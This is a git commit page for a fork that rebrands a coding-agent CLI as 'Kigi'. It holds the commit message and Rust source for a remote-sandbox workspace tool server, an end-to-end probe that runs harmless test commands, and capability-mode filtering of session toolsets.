M0: compilable skeleton — Kigi 0.1.0 fork surgery

Hard fork of xai-org/grok-build (Apache-2.0) re-targeted as Kigi, an
unofficial Kimi Code CLI community build.

Rename & identity
- 72 xai-*/xai-grok-* crates -> kigi-* (explicit: xai-grok-pager-bin ->
  kigi-bin [binary `kigi`], xai-grok-pager -> kigi-tui; rest mechanical);
  ptyctl, ptyctl-cli, third_party/ unchanged; proto package
  xai.grok.tools.v1 -> kigi.tools.v1
- Config home ~/.kigi (KIGI_SHARE_DIR override), env prefix GROK_* ->
  KIGI_*, `kigi --version` carries the unofficial-community-build notice
- clap identity, help text, startup banner, prompt templates rebranded
  (templates re-encrypted)

Deletions (PRD removal list #5/#6/#7/#9/#10)
- voice input (xai-grok-voice) and all TUI wiring
- telemetry: Mixpanel client, external OTel stream, Sentry, OTLP layers,
  trace/GCS/S3 upload queues (kigi-file-utils halved), workspace upload
  module & dc_log, heap-profile uploader, auth-diagnostics uploader,
  session-analytics halves of feedback; local zero-egress observability
  preserved in new kigi-log crate (unified log, --debug firehose,
  subsystem file logs, opt-in instrumentation)
- announcements (crate, remote-settings fields, TUI surfaces)
- plugin marketplace (crate, sources/browse/CTA/extensions-modal tab);
  direct plugin install/uninstall/update via kigi-agent git_install kept
- relay/gateway/assets endpoints and features (agent relay, headless
  relay transport, gateway bridge, LeaderEnvUrls); leader IPC socket now
  ~/.kigi/leader.sock + KIGI_LEADER_SOCKET, no ws-url derivation
- functional types rehomed instead of deleted: PermissionMode ->
  kigi-config-types, McpInitStrategy -> kigi-mcp, PrCreationSource ->
  session signals, TerminalDiagnostics -> kigi-pager-render, agent_id ->
  shell util

Endpoints
- kigi-env rewritten: single production KigiEndpoints {coding_api_base_url
  https://api.kimi.com/coding/v1 (KIGI_CODE_BASE_URL), oauth_host
  https://auth.kimi.com (KIGI_OAUTH_HOST), update_base_url (GitHub
  Releases API), upgrade_page_url}; GrokBuildEnvironment enum deleted

Toolchain & workspace hygiene
- Rust 1.97.0 pinned; edition 2024; full cargo update; git2 hoisted to
  workspace at 0.21 (Option->Result API migration), quick-xml 0.41
- Root Cargo.toml hand-maintained (PRD §8.1): version 0.1.0 inherited by
  all members, members sorted, unused deps pruned
- cargo-deny advisories gate (deny.toml with documented transitive
  exceptions); CI workflow (check/clippy/fmt/deny/test, macOS+Linux)
- cross-crate test seams re-gated behind `test-support` cargo feature;
  insta snapshot baselines renamed to the kigi_tui prefix
- clippy --workspace --all-targets: zero warnings; fmt clean

Fixes surfaced by the port
- updater probe/installer divergence (bin/kigi vs bin/grok symlink set)
- idle model-metadata refresh dead under KIGI_CODE_BASE_URL override
  (new is_effective_coding_endpoint_url, loopback+override aware)
- macOS symlinked-TMPDIR fixture canonicalization (foreign_sessions,
  fast-worktree); RSS measurement tests serialized via serial_test

Docs & legal (Apache §4)
- NOTICE added (upstream attribution + change statement); THIRD-PARTY
  notices sustained; kigi-tools ported-code notices extended; README,
  CONTRIBUTING, SECURITY, AGENTS.md rewritten

Out of scope for M0 (tracked): Kimi auth/inference (M1), search/fetch,
command parity, config import (M2), Computer Hub excision & final
brand-token sweep (M2), distribution & self-update rewrite (M3).
This commit is contained in:
ZacharyZhang-NY committed 2026-07-17 05:31:01 -04:00
commit d6c20fc13f
2612 files changed
+1353757

No files matched your search

File diff suppressed because it is too large. Load diff
@@ -0,0 +1,583 @@
//! Standalone workspace ToolServer for remote sandboxes.
//!
//! Reads OIDC credentials from `~/.kigi/auth.json`, connects to a
//! server, exposes workspace tools, and refreshes tokens
//! automatically.
use clap::Parser;
use kigi_workspace::config::WorkspaceServerMetadata;
use kigi_workspace::daemonize;
use kigi_workspace::diag_server;
use kigi_workspace::preview_supervisor::{self, PreviewArgs, PreviewVisibility};
use std::path::PathBuf;
use url::Url;
/// OTLP `service.name` for this binary's exported traces/logs/metrics and
/// direct-OTLP fastrace export. Single source so the call sites can't drift.
const SERVICE_NAME: &str = "prod_grok_workspace";
const EXIT_SERVER_ID_INVALID: i32 = 3;
const INVALID_SERVER_ID_MARKER: &str = "workspace-server: invalid --server-id";
fn server_id_startup_error(id: &str) -> Option<String> {
id.parse::<kigi_tool_protocol::ServerId>()
.err()
.map(|e| format!("{INVALID_SERVER_ID_MARKER} {id:?}: {e}"))
}
#[derive(Parser)]
#[command(name = "kigi-workspace-server")]
#[command(about = "Standalone workspace ToolServer for the server connection")]
struct Args {
/// Print the capability manifest as JSON to stdout and exit 0. Legacy
/// binaries reject the unknown flag via clap (non-zero exit), giving the
/// launcher a definitive feature probe.
#[arg(long)]
capabilities: bool,
#[arg(long, default_value = "wss://computer-hub.kigi.com/v1/tools")]
hub_url: String,
#[arg(long)]
auth_config: Option<PathBuf>,
#[arg(long)]
cwd: Option<PathBuf>,
/// Stable server identity for hub registration. Used as the
/// `server_id` in `servers.list` and `server.bind` so clients
/// can address this specific workspace server.
/// When omitted, the SDK default ("workspace-server") is used.
#[arg(long)]
server_id: Option<String>,
/// JSON metadata attached to the tool server registration.
/// Propagated to `ServerInfo.metadata` in `servers.list` responses.
#[arg(long)]
metadata: Option<String>,
/// Path to write a PID file once the server connection is established.
/// The sandbox service polls this file to determine readiness.
#[arg(long, default_value = daemonize::DEFAULT_READY_PATH)]
ready_file: PathBuf,
/// Unix-socket path for the in-guest diagnostics HTTP server
/// (`/ready`, `/statusz`).
#[cfg(unix)]
#[arg(long, default_value = diag_server::DEFAULT_DIAG_SOCKET_PATH)]
diag_socket: PathBuf,
/// Loopback TCP port for the diagnostics HTTP server (Windows guests,
/// which lack a reliable Unix-socket HTTP client).
#[cfg(windows)]
#[arg(long, default_value_t = diag_server::DEFAULT_DIAG_PORT)]
diag_port: u16,
/// Permit a plaintext `ws://` hub on a non-loopback host. Only for a
/// mesh-secured transport; the bearer crosses the network otherwise.
#[arg(long)]
allow_insecure_ws: bool,
/// Fail `session.bind`s without an explicit toolset closed (RPC-only)
/// instead of widening to the built-in default catalog. Passed by the
/// sandbox service; doubles as a version tripwire (a stale revived binary
/// rejects the argv and never reports ready).
#[arg(long)]
require_explicit_toolset: bool,
/// Confine `x.ai/fs/*` resolution to the workspace root (reject `..`,
/// absolute-outside-root, symlink escapes). On by default: the standalone
/// server always backs a remote-sandbox workspace, a real tenant boundary.
/// Override with `KIGI_WORKSPACE_CONFINE_FS_TO_ROOT=false` (e.g. local dev).
#[arg(
long,
env = "KIGI_WORKSPACE_CONFINE_FS_TO_ROOT",
default_value_t = true,
action = clap::ArgAction::Set,
)]
confine_fs_to_workspace_root: bool,
/// Self-daemonize at startup: double-fork + `setsid()` into a new session
/// and process group (escaping the launcher's process-group reap),
/// redirect stdio to a log file, and hold a single-instance pidfile lock.
///
/// Off by default — opt-in, passed by the launcher in the supervised
/// deployment mode. With the flag absent, startup is unchanged.
#[arg(long)]
daemonize: bool,
/// Where `--daemonize` redirects stdout+stderr. Ignored without
/// `--daemonize`.
#[arg(long, default_value = daemonize::DEFAULT_LOG_PATH)]
log_file: PathBuf,
/// Single-instance pidfile lock path used with `--daemonize`. Ignored
/// without `--daemonize`.
#[arg(long, default_value = daemonize::DEFAULT_PIDFILE_PATH)]
pid_file: PathBuf,
#[command(flatten)]
preview: PreviewCliArgs,
}
/// Preview-proxy supervision flags. Forwarded 1:1 to the
/// `/usr/local/bin/xai-grok-preview-proxy` child (see `cli.rs` for the proxy's
/// flag names). Off by default — when `--preview-enabled` is absent the
/// supervisor is never started and startup is byte-for-byte the non-preview
/// path.
#[derive(clap::Args, Debug)]
struct PreviewCliArgs {
/// Spawn and supervise the in-sandbox preview-proxy. The launcher passes
/// this only when the proxy binary was mounted into this container.
#[arg(long)]
preview_enabled: bool,
/// Proxy `--preview-port` (externally exposed listener). Absent ⇒ proxy default.
#[arg(long)]
preview_port: Option<u16>,
/// Proxy `--control-port` (loopback control). Absent ⇒ proxy default.
#[arg(long)]
preview_control_port: Option<u16>,
/// Proxy `--visibility` (`owner` | `public`). Absent ⇒ proxy default.
/// Validated here so a bad value fails fast instead of crash-looping the proxy.
#[arg(long, value_enum)]
preview_visibility: Option<PreviewVisibility>,
/// Proxy `--instance-suffix` for inbound Host validation.
#[arg(long)]
preview_instance_suffix: Option<String>,
/// Proxy `--auth-redirect`: URL the unauthenticated handshake redirects to.
/// Required for the default `owner` gate to redirect rather than deny.
#[arg(long)]
preview_auth_redirect: Option<String>,
/// Proxy `--allow-public` org public-policy gate (forwarded only when set).
#[arg(long)]
preview_allow_public: bool,
/// Proxy `--workspace-server-port` (added to the discovery denylist).
#[arg(long)]
preview_workspace_server_port: Option<u16>,
}
impl PreviewCliArgs {
fn into_preview_args(self, workspace_dir: PathBuf) -> PreviewArgs {
PreviewArgs {
enabled: self.preview_enabled,
port: self.preview_port,
control_port: self.preview_control_port,
visibility: self.preview_visibility,
instance_suffix: self.preview_instance_suffix,
auth_redirect: self.preview_auth_redirect,
allow_public: self.preview_allow_public,
workspace_server_port: self.preview_workspace_server_port,
workspace_dir,
}
}
}
/// Capability manifest printed by `--capabilities`, consumed by the sandbox
/// launcher to pick a launch protocol. Additions are backward-compatible.
#[derive(Debug, serde::Serialize)]
struct Capabilities {
/// The in-guest diagnostics HTTP server (`/ready`, `/statusz`, `/logs`).
diag: bool,
}
const CAPABILITIES: Capabilities = Capabilities { diag: true };
fn main() -> anyhow::Result<()> {
let mut args = Args::parse();
if args.capabilities {
println!("{}", serde_json::to_string(&CAPABILITIES)?);
return Ok(());
}
if let Some(msg) = args.server_id.as_deref().and_then(server_id_startup_error) {
eprintln!("{msg}");
std::process::exit(EXIT_SERVER_ID_INVALID);
}
let cwd = match args.cwd {
Some(ref p) => dunce::canonicalize(p)?,
None => std::env::current_dir()?,
};
let _pidfile_guard = if args.daemonize {
let anchor = |p: PathBuf| if p.is_absolute() { p } else { cwd.join(p) };
args.log_file = anchor(std::mem::take(&mut args.log_file));
args.pid_file = anchor(std::mem::take(&mut args.pid_file));
args.ready_file = anchor(std::mem::take(&mut args.ready_file));
#[cfg(unix)]
{
args.diag_socket = anchor(std::mem::take(&mut args.diag_socket));
}
args.auth_config = args.auth_config.take().map(anchor);
daemonize::daemonize(&args.log_file)?;
match daemonize::PidFile::acquire_or_take_over(&args.pid_file, daemonize::TAKEOVER_GRACE)? {
Some(guard) => Some(guard),
None => return Ok(()),
}
} else {
None
};
tokio::runtime::Builder::new_multi_thread()
.enable_all()
.build()?
.block_on(run(args, cwd))
}
async fn run(args: Args, cwd: PathBuf) -> anyhow::Result<()> {
let _ = rustls::crypto::ring::default_provider().install_default();
use tracing_subscriber::layer::SubscriberExt as _;
use tracing_subscriber::util::SubscriberInitExt as _;
let env_filter = tracing_subscriber::EnvFilter::try_from_default_env()
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("info"));
let donating = kigi_computer_hub_sdk::DonatingLogLayer::new_inert();
tracing_subscriber::registry()
.with(env_filter)
.with(tracing_subscriber::fmt::layer())
.with(donating.clone())
.init();
let direct_otlp = match std::env::var("KIGI_WORKSPACE_OTLP_ENDPOINT") {
Ok(endpoint) if !endpoint.is_empty() => {
match kigi_tracing::init_fastrace(endpoint.clone(), SERVICE_NAME.to_owned(), None) {
Ok(()) => {
tracing::info!(% endpoint, "trace export enabled (direct OTLP)");
true
}
Err(e) => {
tracing::warn!(error = % e, "direct OTLP trace export init failed");
false
}
}
}
_ => false,
};
let url = Url::parse(&args.hub_url).map_err(|e| anyhow::anyhow!("invalid --hub-url: {e}"))?;
{
use kigi_sandbox::{ProfileName, SandboxManager};
let profile = match std::env::var("KIGI_SANDBOX_PROFILE").ok() {
Some(val) => {
let parsed = val
.parse::<ProfileName>()
.expect("ProfileName::from_str is infallible");
if matches!(parsed, ProfileName::Custom(_)) {
tracing::warn!(
value = % val,
"Unrecognized KIGI_SANDBOX_PROFILE, defaulting to workspace"
);
ProfileName::Workspace
} else {
parsed
}
}
None if kigi_sandbox::trust_bwrap_marker_for_devbox() => ProfileName::Devbox,
None => ProfileName::Workspace,
};
let profile_name = profile.to_string();
if profile == ProfileName::Off {
tracing::info!(
profile = % profile_name,
"Sandbox explicitly disabled via KIGI_SANDBOX_PROFILE=off"
);
} else {
let mut sandbox = SandboxManager::new(profile, &cwd);
if let Err(e) = sandbox.apply(&cwd) {
tracing::warn!(
error = % e, "Sandbox apply returned error, continuing unsandboxed"
);
} else if !sandbox.is_applied() {
tracing::warn!("Sandbox could not be applied (unsupported platform)");
}
sandbox.install();
let active = kigi_sandbox::is_active();
let status_msg = if active {
"Workspace server sandbox active"
} else {
"Workspace server sandbox NOT active"
};
tracing::info!(
profile = % profile_name, active, restrict_network =
kigi_sandbox::should_restrict_child_network(), "{status_msg}"
);
}
}
let auth_provider = kigi_workspace::hub_auth::provider(&url, args.auth_config.as_deref())?;
tracing::info!(hub_url = % url, cwd = % cwd.display(), "Starting workspace server");
let cwd_display = cwd.display().to_string();
let session_id = std::env::var("KIGI_SESSION_ID").ok();
let parsed_metadata = match args.metadata {
Some(json_str) => Some(
serde_json::from_str(&json_str)
.map_err(|e| anyhow::anyhow!("invalid --metadata JSON: {e}"))?,
),
None => None,
};
let metadata = WorkspaceServerMetadata::merge_session_metadata(parsed_metadata, session_id);
let launch_id = metadata
.as_ref()
.and_then(|v| v.get("launch_id"))
.and_then(serde_json::Value::as_str)
.map(str::to_owned);
let diag_handle = diag_server::DiagHandle::new(launch_id);
#[cfg(unix)]
let diag_listener = diag_server::DiagListener::Unix(args.diag_socket);
#[cfg(windows)]
let diag_listener = diag_server::DiagListener::Tcp(args.diag_port);
let diag_log_file = args.daemonize.then_some(args.log_file);
let _diag_server =
match diag_server::serve(diag_listener, diag_handle.clone(), diag_log_file).await {
Ok(bound) => {
tracing::info!(addr = % bound.addr, "diagnostics server listening");
Some(bound)
}
Err(e) => {
if args.daemonize {
tracing::error!(error = % e, "{}", diag_server::DIAG_BIND_FAILED_MARKER);
std::process::exit(diag_server::EXIT_DIAG_BIND_FAILED);
}
tracing::warn!(
error = % e, "{} (continuing without)",
diag_server::DIAG_BIND_FAILED_MARKER
);
None
}
};
tracing::info!(
cwd = % cwd_display,
"Workspace server starting — sessions created dynamically via server bind"
);
let server_id = args.server_id.clone();
let status_config = kigi_workspace::StatusConfig::from_env();
let preview_shutdown = if args.preview.preview_enabled {
let control_port = args.preview.preview_control_port;
let cfg = args.preview.into_preview_args(cwd.clone());
let (tx, rx) = tokio::sync::watch::channel(false);
tokio::spawn(preview_supervisor::supervise_preview(cfg, rx));
Some((tx, control_port))
} else {
None
};
let project_lsp_trusted = true;
let preview_scrape_interval = status_config.preview_activity_scrape_interval;
kigi_workspace::init_metrics();
let ws_handle = kigi_workspace::handle::connect_local_workspace(
cwd,
url,
auth_provider,
metadata,
server_id.clone(),
None,
args.allow_insecure_ws,
status_config,
project_lsp_trusted,
Some(args.ready_file.clone()),
Some(diag_handle.clone()),
args.require_explicit_toolset,
args.confine_fs_to_workspace_root,
)
.await
.map_err(|e| anyhow::anyhow!("failed to connect workspace to hub: {e}"))?;
if let Some((tx, control_port)) = &preview_shutdown {
tokio::spawn(preview_supervisor::supervise_preview_activity(
*control_port,
ws_handle.activity_tracker().clone(),
preview_scrape_interval,
tx.subscribe(),
));
}
let mut donation_pump = None;
if !direct_otlp {
match ws_handle.trace_donation_reporter(SERVICE_NAME).await {
Some((reporter, pump)) => {
fastrace::set_reporter(reporter, fastrace::collector::Config::default());
donation_pump = Some(pump);
tracing::info!("trace export enabled");
}
None => tracing::info!("trace export disabled (not connected)"),
}
}
let mut log_donation_pump = None;
match ws_handle.log_donation_layer(SERVICE_NAME).await {
Some((sender, pump)) => {
donating.activate(sender);
log_donation_pump = Some(pump);
tracing::info!("log export enabled");
}
None => tracing::info!("log export disabled (not connected)"),
}
let mut metric_donation_pump = None;
match ws_handle.metric_donation_reporter(SERVICE_NAME).await {
Some(pump) => {
metric_donation_pump = Some(pump);
tracing::info!("metric export enabled");
}
None => tracing::info!("metric export disabled (not connected)"),
}
tracing::info!(
server_id = ? server_id, "Workspace server connected to hub. Serving tools."
);
#[cfg(unix)]
{
use tokio::signal::unix::{SignalKind, signal};
let mut sigterm = signal(SignalKind::terminate())?;
tokio::select! {
_ = tokio::signal::ctrl_c() => {} _ = sigterm.recv() => {}
}
}
#[cfg(not(unix))]
tokio::signal::ctrl_c().await?;
if let Some((tx, _)) = &preview_shutdown {
let _ = tx.send(true);
}
let _ = std::fs::remove_file(&args.ready_file);
diag_handle.set_shutting_down();
tracing::info!("Received shutdown signal, draining...");
let tracker = ws_handle.activity_tracker().clone();
let grace_budget = kigi_workspace::handle::termination_grace_from_env();
ws_handle
.two_phase_drain(grace_budget, kigi_workspace::handle::DrainReason::Sigterm)
.await;
tracker.set_shutting_down();
tracing::info!("Shutting down...");
fastrace::flush();
if let Some(pump) = &donation_pump {
pump.drain().await;
}
kigi_computer_hub_sdk::flush_log_layer();
if let Some(pump) = &log_donation_pump {
pump.drain().await;
}
if let Some(pump) = &metric_donation_pump {
pump.drain().await;
}
ws_handle.shutdown_hub().await;
kigi_sandbox::flush();
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn capabilities_flag_parses_and_defaults_off() {
let args = Args::try_parse_from(["kigi-workspace-server"]).unwrap();
assert!(!args.capabilities);
let args = Args::try_parse_from(["kigi-workspace-server", "--capabilities"]).unwrap();
assert!(args.capabilities);
}
#[test]
fn capabilities_manifest_shape() {
let value = serde_json::to_value(CAPABILITIES).unwrap();
assert_eq!(value, serde_json::json!({ "diag" : true }));
}
#[test]
fn capabilities_probe_of_legacy_binary_exits_nonzero() {
/// A stand-in for a pre-`--capabilities` Args surface.
#[derive(Debug, Parser)]
struct LegacyArgs {
#[arg(long)]
daemonize: bool,
}
let err = LegacyArgs::try_parse_from(["kigi-workspace-server", "--capabilities"])
.expect_err("a legacy binary must reject the flag");
assert_eq!(err.kind(), clap::error::ErrorKind::UnknownArgument);
assert_ne!(
err.exit_code(),
0,
"the probe relies on a non-zero exit distinguishing legacy binaries"
);
}
#[test]
fn daemonize_defaults_are_inert() {
let args = Args::try_parse_from(["kigi-workspace-server"]).unwrap();
assert!(!args.daemonize);
assert_eq!(args.log_file, PathBuf::from(daemonize::DEFAULT_LOG_PATH));
assert_eq!(
args.pid_file,
PathBuf::from(daemonize::DEFAULT_PIDFILE_PATH)
);
assert_eq!(
args.ready_file,
PathBuf::from(daemonize::DEFAULT_READY_PATH)
);
}
#[test]
fn invalid_server_id_produces_the_marker_line() {
for bad in ["auto:tool:x", ""] {
let msg = server_id_startup_error(bad)
.unwrap_or_else(|| panic!("server id {bad:?} must be rejected"));
assert!(
msg.starts_with(INVALID_SERVER_ID_MARKER),
"startup error must START with the greppable marker prefix: {msg}"
);
}
assert_eq!(server_id_startup_error("session-abc-123"), None);
}
#[test]
fn argv_rejection_exit_code_is_distinct_from_server_id_exit_code() {
let err = Args::try_parse_from(["kigi-workspace-server", "--flag-from-the-future"])
.err()
.expect("unknown argv must be rejected");
assert_eq!(err.exit_code(), 2, "clap argv rejection exits 2");
assert_ne!(err.exit_code(), EXIT_SERVER_ID_INVALID);
assert_ne!(EXIT_SERVER_ID_INVALID, 0);
assert_ne!(EXIT_SERVER_ID_INVALID, 1);
}
#[test]
fn preview_defaults_are_inert() {
let args = Args::try_parse_from(["kigi-workspace-server"]).unwrap();
assert!(!args.preview.preview_enabled);
let cfg = args.preview.into_preview_args(PathBuf::from("/workspace"));
assert!(!cfg.enabled);
assert!(
cfg.to_argv().is_empty(),
"an inert config forwards no proxy args"
);
}
#[test]
fn preview_flags_parse_and_lower_to_supervisor_config() {
let args = Args::try_parse_from([
"kigi-workspace-server",
"--preview-enabled",
"--preview-port",
"6014",
"--preview-control-port",
"6015",
"--preview-visibility",
"public",
"--preview-instance-suffix",
".inst.example",
"--preview-auth-redirect",
"https://grok.com/preview-auth",
"--preview-allow-public",
"--preview-workspace-server-port",
"8470",
])
.unwrap();
assert!(args.preview.preview_enabled);
let cfg = args.preview.into_preview_args(PathBuf::from("/workspace"));
assert!(cfg.enabled);
assert_eq!(cfg.port, Some(6014));
assert_eq!(cfg.control_port, Some(6015));
assert_eq!(cfg.visibility, Some(PreviewVisibility::Public));
assert_eq!(cfg.instance_suffix.as_deref(), Some(".inst.example"));
assert_eq!(
cfg.auth_redirect.as_deref(),
Some("https://grok.com/preview-auth")
);
assert!(cfg.allow_public);
assert_eq!(cfg.workspace_server_port, Some(8470));
assert_eq!(cfg.workspace_dir, PathBuf::from("/workspace"));
assert_eq!(
cfg.to_argv(),
vec![
"--preview-port",
"6014",
"--control-port",
"6015",
"--visibility",
"public",
"--instance-suffix",
".inst.example",
"--auth-redirect",
"https://grok.com/preview-auth",
"--allow-public",
"--workspace-server-port",
"8470",
],
);
}
#[test]
fn preview_visibility_rejects_invalid_value() {
let err = Args::try_parse_from([
"kigi-workspace-server",
"--preview-enabled",
"--preview-visibility",
"nobody",
])
.err()
.expect("an invalid --preview-visibility must be rejected");
assert_eq!(err.kind(), clap::error::ErrorKind::InvalidValue);
}
#[test]
fn preview_visibility_owner_parses_and_lowers() {
let args = Args::try_parse_from([
"kigi-workspace-server",
"--preview-enabled",
"--preview-visibility",
"owner",
])
.unwrap();
let cfg = args.preview.into_preview_args(PathBuf::from("/workspace"));
assert_eq!(cfg.visibility, Some(PreviewVisibility::Owner));
assert_eq!(cfg.to_argv(), vec!["--visibility", "owner"]);
}
}
@@ -0,0 +1,214 @@
//! Probe that verifies a running workspace-server actually serves tools
//! over the server connection (not just that it reached READY).
//!
//! Connects to the server as a client harness, binds the workspace-server's
//! session (its `server_id` equals the sandbox `session_id`), then
//! invokes real tools and asserts the results:
//! - `run_terminal_command` echoes a nonce that must come back,
//! - `read_file` reads a file the first command wrote.
//!
//! Exits 0 and prints `PROBE_OK` on success; non-zero with a diagnostic
//! on failure. Intended for sandbox end-to-end tests.
//!
//! The client connects to the *local* server (the same one the
//! workspace-server reaches back to, e.g. `ws://localhost:10030/v1/tools`)
//! using a bearer token. `servers.list` is scoped per-user on the server, so
//! the bearer must resolve to the same user that owns the session — the
//! access token from `~/.kigi/auth.json` does (same identity).
use base64::Engine;
use clap::Parser;
use kigi_computer_hub_sdk::pool::HubConnectionPool;
use kigi_computer_hub_sdk::{AuthCredential, ToolHarnessBuilder};
use kigi_tool_protocol::{SessionId, ToolId};
use kigi_tool_runtime::{ToolCallContext, ToolStreamItem, TypedToolOutput};
use serde_json::{Value, json};
use url::Url;
use uuid::Uuid;
#[derive(Parser)]
#[command(name = "workspace-server-probe")]
#[command(about = "Invoke tools on a running workspace-server via the server connection")]
struct Args {
/// Server WebSocket URL the client connects to (the local server).
#[arg(long, default_value = "ws://localhost:10030/v1/tools")]
hub_url: String,
/// The workspace-server's server_id (equals the sandbox session_id).
#[arg(long)]
session_id: String,
/// Hub user to authenticate as. Must match the user the
/// workspace-server registered under (`local-dev` in local-auth-dev).
#[arg(long, default_value = "local-dev")]
user_id: String,
/// Explicit bearer token (overrides --user-id). For real tokens.
#[arg(long)]
bearer: Option<String>,
/// Workspace directory to bind on the server.
#[arg(long, default_value = "/workspace")]
cwd: String,
}
/// Mint an unsigned JWT carrying `{"sub": user_id}`. The local-auth-dev
/// hub derives the principal's user from the bearer's JWT `sub` and does
/// NOT verify the signature, so this is sufficient to authenticate as a
/// specific local-dev user. Not usable against a real (verifying) hub.
fn dev_bearer(user_id: &str) -> String {
let b64 = base64::engine::general_purpose::URL_SAFE_NO_PAD;
let header = b64.encode(br#"{"alg":"none","typ":"JWT"}"#);
let payload = b64.encode(json!({ "sub": user_id }).to_string());
format!("{header}.{payload}.sig")
}
fn bearer(args: &Args) -> String {
args.bearer
.clone()
.unwrap_or_else(|| dev_bearer(&args.user_id))
}
/// Drive a tool call to its terminal item, discarding progress.
async fn call_tool(
harness: &kigi_computer_hub_sdk::ToolHarness,
name: &str,
args: Value,
) -> anyhow::Result<Value> {
let tool_id = ToolId::new(name).map_err(|e| anyhow::anyhow!("invalid tool id {name}: {e}"))?;
let mut stream = harness
.call(tool_id, args, ToolCallContext::default())
.await;
loop {
let item = std::future::poll_fn(|cx| stream.as_mut().poll_next(cx)).await;
match item {
Some(ToolStreamItem::Progress(_)) => {}
Some(ToolStreamItem::Terminal(Ok(typed))) => {
let typed: TypedToolOutput = typed;
return Ok(typed.value);
}
Some(ToolStreamItem::Terminal(Err(e))) => {
anyhow::bail!("tool `{name}` returned error: {e}")
}
None => anyhow::bail!("tool `{name}` stream ended without a terminal item"),
}
}
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let _ = rustls::crypto::ring::default_provider().install_default();
tracing_subscriber::fmt()
.with_env_filter(
tracing_subscriber::EnvFilter::try_from_default_env()
.unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("warn")),
)
.init();
let args = Args::parse();
let credential = AuthCredential::bearer(bearer(&args));
// The server connection can drop once right after connect (the SDK
// reconnects with backoff). build()'s eager session_open doesn't
// survive that first blip, so retry the connect + bind a few times.
let mut last_err = None;
for attempt in 1..=8u32 {
match connect_and_bind(&args, &credential).await {
Ok(harness) => return run_checks(&harness, &args).await,
Err(e) => {
eprintln!("[probe] attempt {attempt} failed: {e}");
last_err = Some(e);
tokio::time::sleep(std::time::Duration::from_millis(1500)).await;
}
}
}
Err(last_err.unwrap_or_else(|| anyhow::anyhow!("probe failed")))
}
/// Connect to the server, open a session, and bind the workspace-server.
async fn connect_and_bind(
args: &Args,
credential: &AuthCredential,
) -> anyhow::Result<kigi_computer_hub_sdk::ToolHarness> {
let harness_session = SessionId::new(format!("probe-{}", Uuid::new_v4()))
.map_err(|e| anyhow::anyhow!("invalid harness session id: {e}"))?;
let url = Url::parse(&format!("{}?role=harness", args.hub_url))
.map_err(|e| anyhow::anyhow!("invalid --hub-url: {e}"))?;
let harness = ToolHarnessBuilder::default()
.pool(HubConnectionPool::new())
.url(url)
.auth(credential.clone())
.session(harness_session)
.build()
.await
.map_err(|e| anyhow::anyhow!("failed to build server harness: {e}"))?;
let servers = harness
.list_servers()
.await
.map_err(|e| anyhow::anyhow!("servers.list failed: {e}"))?;
let server_ids: Vec<String> = servers
.iter()
.map(|s| s.server_id.as_str().to_owned())
.collect();
eprintln!("[probe] servers visible to this user: {server_ids:?}");
let server_id = args.session_id.as_str();
// Strict servers (`--require-explicit-toolset`) fail metadata-less binds
// closed: bind with exactly the tools the checks below invoke.
let metadata = json!({
"tools": [
{"id": "GrokBuild:run_terminal_cmd", "name_override": "run_terminal_command"},
{"id": "GrokBuild:read_file"},
],
});
let tools = harness
.session_bind(server_id, Some(&args.cwd), Some(metadata))
.await
.map_err(|e| {
anyhow::anyhow!(
"session_bind({server_id}) failed: {e} (is the workspace-server registered \
for this user? visible servers: {server_ids:?})"
)
})?;
eprintln!(
"[probe] bound workspace-server {server_id}: {} tools available",
tools.len()
);
Ok(harness)
}
/// Invoke real tools on the bound workspace-server and assert results.
async fn run_checks(
harness: &kigi_computer_hub_sdk::ToolHarness,
_args: &Args,
) -> anyhow::Result<()> {
// 1) run_terminal_command must echo our nonce back.
let nonce = format!("probe-nonce-{}", Uuid::new_v4());
let marker = format!("/tmp/{nonce}.txt");
let out = call_tool(
harness,
"run_terminal_command",
json!({ "command": format!("echo {nonce} | tee {marker}") }),
)
.await?;
let out_text = serde_json::to_string(&out).unwrap_or_default();
anyhow::ensure!(
out_text.contains(&nonce),
"run_terminal_command output did not contain the nonce; got: {out_text}"
);
eprintln!("[probe] run_terminal_command OK (nonce echoed)");
// 2) read_file must read the file the command wrote.
let read_out = call_tool(harness, "read_file", json!({ "target_file": marker })).await?;
let read_text = serde_json::to_string(&read_out).unwrap_or_default();
anyhow::ensure!(
read_text.contains(&nonce),
"read_file did not return the written nonce; got: {read_text}"
);
eprintln!("[probe] read_file OK (read back written nonce)");
println!("PROBE_OK");
Ok(())
}
@@ -0,0 +1,332 @@
//! Capability-mode filtering for session toolsets.
use kigi_tools::registry::types::{ToolConfig, ToolServerConfig};
use kigi_tools::types::tool::ToolKind;
/// Capability mode applied to a session's toolset.
///
/// A partial order is defined via [`CapabilityMode::is_subset_of`]:
/// `ReadOnly < ReadWrite < All` and `ReadOnly < Execute < All`.
/// `ReadWrite` and `Execute` are *incomparable* (neither is a subset
/// of the other). `fork_session` enforces `child <= parent`.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum CapabilityMode {
/// Reading and searching only. No edits, no shell, no background tasks.
ReadOnly,
/// Read + edit. No shell execution.
ReadWrite,
/// Read + shell execution + background-task control. No edits.
Execute,
/// Every tool kind allowed.
All,
}
impl Default for CapabilityMode {
/// Defaults to [`CapabilityMode::ReadWrite`] (subagent default;
/// the main/root session is always `All`).
fn default() -> Self {
Self::ReadWrite
}
}
impl CapabilityMode {
/// Filter `config.tools` by capability mode, returning a copy with
/// disallowed tools dropped.
///
/// Tools whose `kind` is `None` (baseline, e.g. ad-hoc tools
/// declared via `ToolConfig::simple`) are preserved across all
/// modes. **MCP-origin** `kind: None` tools are NOT preserved by
/// this method; see `resolve_session_toolset` for the asymmetric
/// handling.
pub fn filter(self, config: &ToolServerConfig) -> ToolServerConfig {
let kept: Vec<ToolConfig> = config
.tools
.iter()
.filter(|tool| match tool.kind {
None => true,
Some(kind) => kind_allowed(self, kind),
})
.cloned()
.collect();
ToolServerConfig {
tools: kept,
behavior_preset: config.behavior_preset.clone(),
}
}
/// Whether every kind allowed by `self` is also allowed by `other`.
/// Used by `fork_session` to reject capability widening.
pub fn is_subset_of(self, other: CapabilityMode) -> bool {
for kind in ALL_TOOL_KINDS {
if kind_allowed(self, *kind) && !kind_allowed(other, *kind) {
return false;
}
}
true
}
}
